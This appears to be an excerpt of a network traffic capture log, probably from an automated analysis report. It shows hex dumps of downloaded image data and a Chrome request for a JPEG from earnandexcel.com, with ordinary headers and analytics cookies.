aa f2 87 9d 18 c6 37 bd e2 eb 56 7f ee bb 9d 52 70 8f Data Ascii: ;CNa3r bkP{+FC&-G%n*.Gx8Euc<b3yl$,5x{q'9o<R90r!K4rb\AQI@gI`W_f5yN/1OGjMMaOeiw&{;t7VRp
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: d7 e4 e4 42 d6 d7 dc 38 19 f6 31 de 88 ed a1 d1 1d b5 b1 fb 95 31 07 ca 1b 5f 93 91 0f 72 a6 20 f9 43 6b f2 72 73 25 e3 ab ee 27 01 3e c6 36 2a 0f 2a 58 a9 ed ad 87 dc a9 88 3e 50 da fc 9c 9c c8 7b 95 b1 0f ca 0b 5f 93 93 99 2a d7 57 dc 4e 02 ce c6 40 2a 49 e3 47 d1 07 95 6b e3 d4 af 88 7e 50 5a fc 9c 9c c9 43 d4 b1 88 3e 50 5a fc 9c 9c c9 78 fa fb 8d fd 9f 67 63 20 6d 49 e5 4b 6d 51 1c 6b 5c 1e a5 9c 42 3f 7f da bc 49 39 91 fb 96 f1 10 fd fd 6a f1 24 e6 4e 5a fa fd c3 5f 87 59 ed 32 66 d5 9e 54 b6 d5 9e 55 ab 8f 52 ee 23 1f bf 6d 5e 24 9c c8 c7 a9 7f 11 8f df b6 af 16 4e 64 f5 e2 35 fb 86 3f 0c b3 da 65 1d 14 4f 1a 02 a1 6b 23 d4 c5 88 c7 ef cb 57 8b 27 32 3f 73 1e 22 1f bf 2d 5e 2c 9c c9 7f 68 d5 ee 1b fb 36 df 69 93 09 03 92 b5 b6 2d 65 be a6 6c 44 df Data Ascii: B811_r Ckrs%'>6*X>P{_WN@*IGk~PZC>PZxgc mIKmQk\B?I9j$NZ_Y2fTUR#m^$Nd5?eOk#W'2?s"-^,h6i-elD
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 49 5d 35 c5 8e a1 92 9f 37 47 1e 7a c6 66 67 b3 2f f1 72 85 99 d5 e1 db e6 90 a7 ba e2 7b 75 a6 3a 7a 50 e2 e1 1b 36 19 32 df aa 3e 13 b2 da 7b 69 8e 5d 8c dd 46 bd e1 3d 3f c4 df a1 e8 fa 4a b8 6b a9 62 aa a7 90 49 0c cc 12 31 c3 e1 34 8c c1 5d 73 50 f8 39 a5 b8 52 ce d7 02 08 a3 88 10 78 ba 40 a6 13 d1 a5 07 ba 29 b0 66 80 28 20 81 c1 a0 89 1a 00 08 d1 20 10 01 a3 44 82 00 34 68 91 84 00 02 34 41 1a 00 08 20 82 00 08 20 82 00 8f c4 3f 98 6e 3f 56 93 d1 2a b1 a2 3f d1 d9 fe b2 ef 44 2b 3e 22 fc c3 71 fa b4 9e 89 55 3d 17 4c ea 6c 29 59 33 62 7c ce 8e 67 b8 46 ce a9 d9 34 6c 09 8f e6 46 4d ef 1a fa db f6 c8 b6 5f 2f b4 76 0a 17 d5 d6 3f 20 36 31 83 aa 7b b9 00 55 8b 45 ae 5b cd 73 31 06 27 7c 71 03 b6 8e 8e 47 00 d8 db ca 41 de 57 5b 25 86 b3 10 57 b6 ff Data Ascii: I]57Gzfg/r{u:zP62>{i]F=?JkbI14]sP9Rx@)f( D4h4A ?n?V*?D+>"qU=Ll)Y3b\|gF4lFM_/v? 61{UE[s1'\|qGAW[%W
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: af 8a d0 f8 ae fe a5 23 a5 a9 4c d6 fb 34 8e c8 17 87 b8 e5 db 0d 59 c8 82 5e c4 ff 00 14 ad 17 4a 51 bd d6 bb 26 ab 5c 72 6b b3 c8 7f 85 aa 34 db 8b c9 81 56 aa fb f4 97 ab 64 de 14 7f 52 bf a3 5f d2 fa 3f 9b 27 a2 53 6c 7b fa 5d 72 fa 41 e8 84 ef 46 d1 48 dc 5d 48 5c c7 01 aa fd a4 7f 84 a6 f8 f2 19 1d 8b 6e 44 46 f2 0c 83 68 1f e1 09 3f c2 56 69 fe ce 5f eb fe 85 db 43 ff 00 99 ab 7e b1 ff 00 10 af 8a 89 a2 16 39 96 7a d0 e6 96 fe 11 c6 32 f8 21 5e d4 d0 f9 4e c7 c1 ff 00 b9 d7 f4 fe a0 4c 6f db 6c 57 1f aa cb e8 14 fb 89 32 be fe 64 b8 7d 5a 5f 40 a7 9a 47 83 22 77 bd b7 b8 15 ab 46 8e ff 00 ad ec ff 00 58 0a a5 19 e9 1b dc 0a d3 a3 73 96 36 b3 fd 61 ab 6e f7 f8 32 fa 3f d0 e7 e0 bf 11 7d 4f 54 c2 35 b6 ae ce 21 81 26 98 0d 54 8a 87 64 0a e0 ab be 19 Data Ascii: #L4Y^JQ&\rk4VdR_?'Sl{]rAFH]H\nDFh?Vi_C~9z2!^NLolW2d}Z_@G"wFXs6an2?}OT5!&Td
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 63 1b 55 3e 11 14 1d 49 01 3f 86 ea 21 19 07 26 d9 18 be 85 dd 12 96 9f a1 76 15 4d 23 7a 6f 53 38 d5 3b 55 58 5f 4f 5c 83 af 5a c3 69 55 bc 85 9c 9a d6 eb b7 43 09 73 1c d7 b5 b2 66 99 74 33 4b 48 49 35 ec 71 da e0 8d b5 8c e5 57 61 6a 82 c1 81 76 8f cc 79 68 60 cb bc 92 1c 9b 99 3d a4 e5 ae b8 49 11 95 b4 f3 16 0d e4 34 e4 a4 f0 d5 be 17 87 54 c8 c6 ea 34 e4 d6 e5 b0 9e 52 ad 31 d6 96 6c 00 65 c9 c4 bc e6 8f 1e 9d f1 df 14 a2 9f 4c f3 7f d0 f4 1b bc 39 57 2d b9 cb 46 72 fb ac d1 9d 57 07 03 c8 57 27 5e a4 1c aa c5 8b a8 a2 64 8c a8 85 81 ad 94 1c c0 e2 70 55 09 25 2d cd 3e af ed 0a 72 75 58 b1 25 ff 00 b9 44 b1 f0 8d d0 53 8b e4 c7 5e bf 1e 37 8f 0a 2f 5f 09 1d 58 f0 aa 7d e6 b0 53 54 e4 d3 90 70 cd 46 36 f2 5d 20 66 be f2 b7 69 bf cc 8a 94 4c 8b a0 ab Data Ascii: cU>I?!&vM#zoS8;UX_O\ZiUCsft3KHI5qWajvyh`=I4T4R1leL9W-FrWW'^dpU%->ruX%DS^7/_X}STpF6] fiL
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 71 84 25 aa ac d5 e1 83 38 6a 87 8d ee 7f 13 07 99 65 b6 0c 75 5b 6e c6 a3 11 ce f2 f3 34 a7 a2 1b c4 e8 ce f6 f7 86 59 77 02 99 3f 2d 61 fa 97 e1 38 e9 62 94 ba be a3 0c 51 61 ad c3 97 da bb 75 71 73 a5 63 c9 12 1f d6 34 ed 0e ef a8 d6 af 40 e9 5b 08 45 8b f0 d4 77 cb 60 6c b5 74 b1 f0 ac 73 36 f0 d0 91 99 1d bc b7 8e fa f3 fb 42 86 71 da cc cd 65 1e 4c f1 e8 fa 0a 73 dd 14 52 3d 87 27 35 a4 8f 02 8b 17 9a de c8 3c 50 a4 e6 fc 9e 5f 98 ef 32 af 80 88 74 1d a3 ae 32 8b dc b2 4f d9 6e d5 72 54 3c 39 ed 39 37 ad 1c aa 76 2b 85 4f 5c df 14 2a bd 84 7e 12 ff 00 99 fc d5 8e 36 a5 65 6d 65 70 53 e8 3f 8a e1 53 d7 8f 14 27 51 dc 2a 7a f1 e0 09 84 4c 4e a2 6a 6b 32 e7 18 f6 1f c5 5f 53 d9 3e e0 ad 5a 3c aa 9e 4c 5b 6f 6b df 98 2e 77 17 f8 4a a8 c4 d5 6c d1 d3 72 Data Ascii: q%8jeu[n4Yw?-a8bQauqsc4@[Ew`lts6BqeLsR='5<P_2t2OnrT<997v+O\~6emepS?S'QzLNjk2_S>Z<L[ok.wJlr
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 09 0f 0e 3c 65 37 7a 21 e2 2b ce 32 69 c8 05 92 d8 fd 50 76 da 99 1b 1d e2 db 35 10 3f ad 85 dc 23 47 74 6c 3e 75 a7 5a ee f4 37 aa 36 56 5b aa a2 a9 a7 78 d8 f8 ce 7d e3 c8 7b 45 0a 49 f4 1d 5d b0 9f ca c7 88 20 89 38 90 3c d3 5b 96 db 6d 57 d0 bf d1 29 ca 6f 71 fc df 54 3f ca 7f 98 a0 0f 01 01 d2 a9 3c 14 ed 5c 5d 67 3c 95 91 7a 41 46 fc 04 f3 0b bf 53 13 da dd c9 57 17 a4 16 d4 96 62 91 89 17 89 36 7a 2e fb 57 95 66 c3 da 51 ae 02 4d b9 66 50 bc d4 35 d5 23 3d e1 2a 8a 66 3c 67 96 d5 76 a8 6d ad 60 a5 a8 b7 73 79 12 cb 6c 4f c9 ce 60 d6 4f e8 2d cc 8a 76 bc 0d cb ac 65 80 66 72 4e 61 95 b9 f1 2a 77 a9 c8 87 4e eb 89 6c b4 b1 85 8d d8 15 a6 91 ec 11 00 08 54 cb 6c e0 30 6d 4f fd 71 31 f5 2e 55 21 17 1e 4c d2 57 25 cc b2 4f 2b 5a d7 38 b8 65 92 ae 57 38 Data Ascii: <e7z!+2iPv5?#Gtl>uZ76V[x}{EI] 8<[mW)oqT?<\]g<zAFSWb6z.WfQMfP5#=f<gvm`sylO`O-vefrNawNlTl0mOq1.U!LW%O+Z8eW8
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: aa e7 1d ea c9 4c 72 8f 7a ac d5 0e 06 73 96 c3 9a 99 a6 a9 0e a7 19 1d b9 22 f8 be 52 45 5d 1d f8 72 aa 7e 84 1b bf 2e 07 b6 ae 76 a7 65 10 54 f2 dc ea fb ea d7 6d 24 46 3b 8a 0b 5e 52 27 d0 c5 c6 52 64 a3 df 93 4a af 5e 25 c8 39 4c 48 e3 aa 55 66 f9 21 0d 29 28 5c c9 75 d3 c5 6c 67 6e 93 f0 8d fc 6a df 46 ef 7b ef 2a 4d b0 fe 10 15 ce 88 9e 0f bc a5 d4 ae 65 4f 0b 97 c0 c6 b7 33 d2 39 67 98 bb 65 9a e5 f4 2e 5a 15 cb a9 72 cf 71 79 ce c9 71 ed 44 7c e9 34 fe a4 ba af de d7 f5 5f a9 91 30 2b ce 89 47 ff 00 20 e1 cf ae 8f 41 ca 8e cd e3 25 78 d1 2f f6 87 87 3e b8 3d 07 25 b3 f7 72 fa 1d 65 7f bd 8f d4 f6 12 24 68 2e 7c e8 42 41 04 10 07 9e 74 d9 1c d8 4f 4a 96 4c 56 23 2e 81 fc 14 84 f2 ba 37 64 e1 e2 e4 b7 0a 1b 46 1f ac 86 0b 85 25 b2 da f6 4a d6 cb 1c Data Ascii: Lrzs"RE]r~.veTm$F;^R'RdJ^%9LHUf!)(\ulgnjF{*MeO39ge.ZrqyqD\|4_0+G A%x/>=%re$h.\|BAtOJLV#.7dF%J
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 18 8c 6d 57 7d 13 0d 5d 21 e1 c3 cb 58 3d 07 2a 5c 4d db da 57 5d 15 90 34 8b 87 00 f8 e0 f4 5c 96 d5 f8 52 fa 1d 45 4f f1 a3 f5 3d 82 89 1a 25 cf 9d 18 10 41 04 00 14 26 28 c1 76 1c 63 4b d0 d7 ab 7c 55 20 0c 99 26 e9 23 f9 ae 1b 42 9b 41 00 d6 4c 4e e7 ea 5f b4 cb 29 7d b2 fd 57 4a c3 f0 26 89 b2 65 df 19 27 36 5f 53 26 1f a4 90 49 75 ba 56 dc 32 39 f0 6c 02 26 9e ee 59 9f bc 2d 8d 18 d8 93 6a 23 f2 a1 d8 a8 e2 2d 1d 58 ab 30 5d 65 82 86 d1 49 1c 62 17 3a 9d 8c 6e 5a b3 00 75 5d 9e fc f3 cb 6a f1 d4 f0 54 5b ea df 0c cc 92 0a 88 1e 5a e6 91 aa e6 38 1f b8 af 79 ac af 4c 5a 1d 87 18 d3 be f1 67 8d 91 5e a2 6e 6e 68 d8 2a 80 e2 3f e2 e4 3d e4 92 43 2e ab 2b 28 8b d0 ae 99 db 7a 64 38 73 11 4e 1b 5e d0 19 4d 54 f3 f9 40 e2 6b bf c7 db e3 ee ef da 57 82 e5 Data Ascii: mW}]!X=\MW]4\REO=%A&(vcK\|U &#BALN_)}WJ&e'6_S&IuV29l&Y-j#-X0]eIb:nZu]jT[Z8yLZg^nnh?=C.+(zd8sN^MT@kW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.17	50045	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	2343	OUT	GET /wp-content/uploads/Power-Query-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:59 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: image/jpeg Content-Length: 18987 Connection: close CF-Ray: 872e0ed8bf288cc0-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-4a2b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kfu2WrWgLktsKBZglsSzUiowL%2FyDErD9E0xlsoGGyhZnGJDXpQuSWJk58X10JpH7S%2Bq7fNi%2FyeP1zuzxWFPAppREXgjbfdat2yaLTL6DJ3T%2BgU4qasYGKyz5bYlDubX4AiY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:59 UTC	462	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 05 06 07 02 03 04 08 ff c4 00 5b 10 00 01 03 02 02 04 04 0f 09 0b 0a 06 03 01 01 00 01 00 02 03 04 11 05 06 07 12 21 31 13 41 51 91 15 16 17 18 22 52 53 54 61 71 92 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"[!1AQ"RSTaq
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: a6 ab a5 69 5a 9c eb 24 6c 96 e3 5d 0d 4b b1 ce dd 2e e6 e7 1d eb 9d ee da 95 d2 8e 55 a5 cf 17 45 cb d9 63 69 7e d1 ae 43 d9 15 ac ac 9e 7b 22 b0 2b 9a 93 f6 99 d1 c1 7b 28 c0 95 a9 cb 69 0b 02 14 b0 99 15 91 c9 cb 2b 2f 75 c5 34 7b d3 9b 99 b1 73 c9 15 ee b4 69 b4 ce be 9c 8c 95 10 12 0a 6c 96 13 19 27 89 48 e5 82 f7 5c 15 34 c1 c0 85 b1 a6 bf 07 33 c4 34 3c cb 2b cc 6b 61 5b 9a e5 aa 48 8c 4e b1 59 35 cb 62 b9 e5 1c b5 90 71 78 66 f6 95 92 d4 d2 b3 0e 53 22 06 8c c1 59 03 b1 61 74 a0 a0 69 89 16 72 db 12 d6 fe 55 9c 6e b2 72 07 dd 0e d8 53 35 a7 04 81 b1 4c e9 23 6b a2 17 22 e1 40 e9 2a 0c 52 07 05 2a c2 eb 5c f1 6e 25 99 c4 2b 93 f6 91 bb c1 2c 82 4e 0f cc 78 2c 63 56 05 ed 03 60 49 ad f9 cb 02 5b ca b1 d2 dc e9 39 76 34 4f 31 1b 96 80 e2 e5 d1 2b 98 Data Ascii: iZ$l]K.UEci~C{"+{(i+/u4{sil'H\434<+ka[HNY5bqxfS"YatirUnrS5L#k"@R\n%+,Nx,cV`I[9v4O1+
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: ee e8 95 4f 9c 3e b4 a7 34 e3 4c 63 9c 31 1a b7 10 3e 0b 64 37 3f 5a 77 3a 23 8f 0b 92 7e 65 ef ad aa d5 a5 f3 81 7d aa 8a 6e 74 c7 ad fd 2e 23 e7 0a cc 67 3c 73 8e 4c 43 cb 4c 53 87 f8 89 67 c3 6e 6b 09 af dc ba 5f 58 c0 09 bd d7 14 d5 0e 94 ed dd c8 aa 56 e7 5c 6d bc 75 87 c6 56 f8 73 9e 36 f6 97 19 5d 19 06 da af 68 f5 29 eb ba b4 fb 19 d7 70 5d 4c 97 79 2c 16 8b 27 2c dc bb e9 9f ae 01 da aa 68 f3 ce 33 19 f8 71 3b c6 c6 fa 97 6c 1a 4c c6 62 16 31 d3 3a dc ac f5 24 b2 d5 25 84 3b 49 c2 6d aa 59 9b 58 2d c8 5b b1 77 50 d4 cd 41 50 c9 e1 36 7b 4d fc 6a a2 87 4b b8 94 7f 0e 86 8d de 20 e1 fc 57 7d 36 9a 2c f6 8a 9c 29 ba 97 ec 9d 1b cd c7 3a c9 d4 55 39 ac 7a 1d 3e 91 c6 be fe a7 a2 f0 cc e3 41 51 18 15 45 d0 48 37 ec b8 29 71 9c cf 46 fa 37 c1 46 f3 24 Data Ascii: O>4Lc1>d7?Zw:#~e}nt.#g<sLCLSgnk_XV\muVs6]h)p]Ly,',h3q;lLb1:$%;ImYX-[wPAP6{MjK W}6,):U9z>AQEH7)qF7F$
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: b4 f5 fe 5a 15 ad 59 86 ac 9a d5 b0 31 44 ad 44 ea b3 58 6a c8 05 b0 31 28 62 77 59 0b d2 66 74 92 f0 2f db f0 4e f4 eb 18 d7 17 6e df 12 69 0c 59 b7 5d a0 80 e7 01 e0 2a 29 cd 3e f9 26 ad 38 f6 24 19 6a b3 85 a4 d4 27 68 4e e4 8b 28 2e 5c af 74 5b 41 d8 a4 9e fe 7c c2 c0 db c4 b1 e1 6a e5 c1 6e 2f d0 6e c7 29 fd f7 51 ac c7 6c 6e c0 99 1d 49 23 1d d9 36 e0 29 3b d9 71 75 cc e8 41 27 62 a9 64 5b 79 1c bb 0c 04 10 b0 93 fa 37 27 99 68 9a eb ec 4d f5 54 2e 00 86 15 56 52 94 7c cb 0b 0d 0d 65 cb 02 56 c9 61 7c 7f 09 a5 73 39 e0 71 a8 fc 40 aa ac f9 0a e3 b1 30 e6 af 88 f1 1f d5 a5 f4 4a 7c 26 e1 31 66 cf 88 71 1f d5 a5 f4 4a dc e1 b3 e6 66 5e be 18 8b 3c be d3 67 15 29 d1 73 af a4 6c b9 fa fc 5f 6a 8a 03 bd 49 f4 5a 7f f9 1b 2d fe bf 17 da ba 6b 3f 4d fd 0c Data Ascii: ZY1DDXj1(bwYft/NniY]*)>&8$j'hN(.\t[A\|jn/n)QlnI#6);quA'bd[y7'hMT.VR\|eVa\|s9q@0J\|&1fqJf^<g)sl_jIZ-k?M
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: ec 72 ed 87 1a 61 d8 e2 a0 c3 14 17 36 72 c0 e3 1a a7 6b 94 90 d5 d8 99 1b d1 c5 96 43 6b a2 91 bd 8b c5 d6 0e a8 16 3b 42 80 37 1d 00 6c 92 df 4a ea a4 c7 a4 6b c6 b4 9a cc 3c 4a 59 6a 5b ef 24 33 c1 b5 e4 4a 66 94 39 46 33 81 fe 41 c4 47 2d 34 9e 89 4f 31 d7 45 33 2e cd e5 31 e6 db bb 02 c4 0f fd 3c 9e 89 5d 57 05 59 69 9c f7 15 83 8c 59 e5 27 9d a5 49 74 59 fd a3 e5 bf da 11 7d aa 32 ed e5 49 b4 59 fd a3 65 bf da 11 7d ab ad b7 dc 7f 43 1a 9f 7d 1e db 5e 29 cc 16 66 68 c5 0b 9b ac 05 6c a4 b4 f1 fd d0 ec 5e d5 09 8a af 21 65 6a ea 99 2a aa 72 fe 1b 34 f2 bb 59 f2 3a 06 92 e3 ca 4d 96 04 e1 cc 68 ea f4 ee e4 92 78 c1 e6 0a ec ef 89 d7 e2 58 6d 74 6d 8a 93 a1 a1 a2 9a 28 41 0c 65 8f 21 3c 7b 8a c7 31 63 ce cc d8 b4 b8 a4 b4 94 f4 b3 4c 07 08 d8 2e 1a e7 Data Ascii: ra6rkCk;B7lJk<JYj[$3Jf9F3AG-4O1E3.1<]WYiY'ItY}2IYe}C}^)fhl^!ej*r4Y:MhxXmtm(Ae!<{1cL.
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: d0 7d 6d 3c 39 45 ad 92 56 b4 f0 af d8 4f e7 2b 10 62 74 7d de 3e 74 42 1c cb 39 0a b4 90 9c 14 9b 3c eb 26 86 73 5c 4c 2f 74 14 c0 0d ff 00 75 ff 00 65 18 6e 5f ad 76 36 dc 14 08 fd f6 e7 88 c7 65 d8 dc 8b ef 5e a9 c4 31 2a 43 47 28 13 c7 7d 53 c6 bc f3 4f 3c 63 4a 70 3f 58 6a fb e9 a6 fc 5b 93 6c 4e 1e a4 77 e9 e3 5e 31 ea 6d 1a 16 cd a4 5f 80 a6 f3 bf ec 97 a8 ae 6d ee 14 de 77 fd 97 a2 22 c4 e8 f5 07 dd e3 dd ca b2 18 9d 1f 77 8f ca 52 aa be 65 8f 05 0d cf 2f 66 1d 1f 63 79 66 94 d4 e2 2c 85 8c 04 0e c5 f7 3b 4d b9 14 97 40 df d6 d9 ff 00 56 3e 90 52 ad 37 d6 41 36 0a 44 72 35 c6 ed dc 7f 38 28 86 82 ea 23 8b 36 4c e7 b8 34 7b dc ed 3f e2 0a 17 d9 e3 e6 56 75 aa ee 51 47 a3 76 a1 73 74 4a 97 bb b3 9d 1d 12 a5 ee cc e7 57 72 8d 6c 9d 36 42 e6 e8 95 2f Data Ascii: }m<9EVO+bt}>tB9<&s\L/tuen_v6e^1*CG(}SO<cJp?Xj[lNw^1m_mw"wRe/fcyf,;M@V>R7A6Dr58(#6L4{?VuQGvstJWrl6B/
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: d6 60 ae 7d 44 ae 91 c1 e4 5c aa eb 3a 52 c3 49 8d 49 14 11 b6 36 01 b0 34 58 6f 53 fd 13 fc 44 ef d2 3b ed 4d ad 25 25 d8 8f 85 75 6b d7 ca 9b 26 de 13 ff 00 d1 38 42 12 5d 5e 3a f1 42 10 10 80 04 21 08 00 dc 84 23 89 00 1b 10 91 08 03 cd de ea ff 00 8f 32 ef ea b3 fa 6d 54 49 2a f6 f7 57 fc 77 97 7f 56 9f d2 62 a2 4a d5 d3 7e 92 32 75 5f aa cb 93 44 12 6a e5 29 4d f7 55 3f ec 6a 98 8a c7 6b 58 5d 44 34 25 4f c3 64 99 cf 25 53 fd 16 a9 7c 94 dc 1b 09 50 c5 4a c6 cb b1 8c 63 14 b0 6f 6d 5e cf 87 64 a6 ae df de 04 d3 1b b8 43 23 75 ac 40 d8 98 a7 c7 38 19 5d 19 7e d0 6c 55 6b 1c e0 f0 c9 52 83 44 c0 d6 0e e8 b2 63 a5 97 e0 5c a8 8e 1d 8a 8a ba 96 c6 1f 72 4a b1 30 6a 2d 66 02 5a 85 29 48 8e 72 84 46 ce 0a a7 b5 72 51 15 4f 6a e5 32 8f 0b 6b 9b 7d 54 1c 25 Data Ascii: `}D\:RII64XoSD;M%%uk&8B]^:B!#2mTI*WwVbJ~2u_Dj)MU?jkX]D4%Od%S\|PJcom^dC#u@8]~lUkRDc\rJ0j-fZ)HrFrQOj2k}T%
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 9e 47 0b 1d 5b 0d e5 56 55 d4 75 d3 55 cb 23 a9 a6 25 c6 e7 b1 29 da fa d2 c4 91 9f 46 a6 32 9b 83 7e 44 cb 46 f5 75 95 b8 ab 65 90 82 c0 6c 17 a3 f0 3e ce 36 dc 71 05 40 68 c6 8a 66 45 0b 8c 0f 69 2f 37 bb 57 a1 32 f4 5b 58 08 e4 54 29 f6 de 10 8e 5e d3 7b 92 28 29 df c1 dc 34 d9 04 01 7b 84 f3 0b c3 61 0d 00 5a dc 89 b3 10 68 61 d7 6f 1a 9e 0b 2f 04 d6 26 96 48 cb f1 68 9a 37 dc a4 66 20 c7 0b 93 b1 40 a1 cc 0d 7c 96 73 8f 89 38 1c 76 36 b3 77 d6 a3 96 8e 33 58 c9 0e 9b fa 9a 31 ec 89 6c 95 d1 5b 63 82 c2 1a c0 4e c5 0a 6e 62 8c bc 80 47 3a 72 a3 c6 59 b0 ec e7 50 4f 86 45 2e c5 c8 7f 54 a7 db 24 bb 85 24 2e 4a d7 7d cc dd 71 c1 8d 40 e6 f6 46 cb 97 11 c5 5a f6 10 c2 ab d7 c3 e4 a5 e4 58 b3 8e d7 28 7b c4 4b 31 c0 27 99 d6 db b1 44 25 a0 7b 64 3d 81 53 Data Ascii: G[VUuU#%)F2~DFuel>6q@hfEi/7W2[XT)^{()4{aZhao/&Hh7f @\|s8v6w3X1l[cNnbG:rYPOE.T$$.J}q@FZX({K1'D%{d=S
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 86 8d 87 f3 eb 2e 1f fb 8c 3e 92 87 b3 7a 99 68 db 6e 77 cb a7 fe e3 07 a4 13 65 fa 72 fa 33 ad 8f ea c7 ea 8f 65 a4 4a 8b 2e 7c e8 44 40 42 10 00 84 21 00 2f 12 10 80 80 05 c7 8c 7c 5d 3f f8 4a ec 0b 4d 75 39 a9 a5 92 20 76 b9 b6 48 fc 81 f9 1e 0b cd 72 36 1d 21 e2 32 3c d9 ac c4 5c e2 79 00 7a f5 24 5a 79 c9 8d a7 6c 2f c5 a9 1c 00 b6 d7 2a c3 34 7b 99 f3 5e 31 98 71 1c 46 9e b3 0f 6c 35 35 0f 95 81 ee 76 b0 04 df 6f 62 9b 07 b9 53 38 f7 f6 19 e5 3f d9 55 d3 58 5d f1 db 61 9d 9a 5d cb 7f ab 96 44 f9 c2 87 9d 2f 57 2c 89 df f4 3c ea 9f eb 54 ce 3d fd 86 79 4f f6 51 d6 a9 9c 7b fb 0c f2 9f ec a6 f2 c7 7f b7 ff 00 04 e5 8e ff 00 62 6d 9d 74 e9 81 50 c7 4f 5d 81 cf 47 58 f6 4c d1 2d 